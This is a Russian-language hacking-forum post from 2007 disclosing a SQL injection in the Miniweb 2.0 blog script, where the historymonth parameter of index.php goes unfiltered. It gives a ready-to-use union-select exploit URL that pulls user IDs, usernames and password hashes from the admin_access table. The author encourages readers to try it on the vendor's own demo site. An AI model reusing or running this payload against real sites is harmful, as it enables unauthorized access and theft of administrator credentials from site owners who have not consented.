Miniweb 2.0

Miniweb 2.0

08.12.2007, 03:59

Constantine

Members of Antichat - Level 5

Регистрация: 24.11.2006

Сообщений: 927

С нами: 10243046

Репутация: 3033

Miniweb 2.0

Сайт производителя : http://www.miniweb2.com/15modules/blog-writer.htm

Уязвимость: не фильтруется переменная в параметре historymonth, скрипта index.php

Сплойт:

PHP код:


		
			
http://localhost/index.php?historyyear=2007&historymonth=-12+union+select+1,2,concat(user_id,0x3a,username,0x3a,password),0,5,6,7,8,9,0+from+admin_access/*

Потестить можно на демоверсии на сайте производителя.
з\ы алгоритм шифрования пароля для меня остался загадкой

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

Последний раз редактировалось Constantine; 08.12.2007 в 05:15..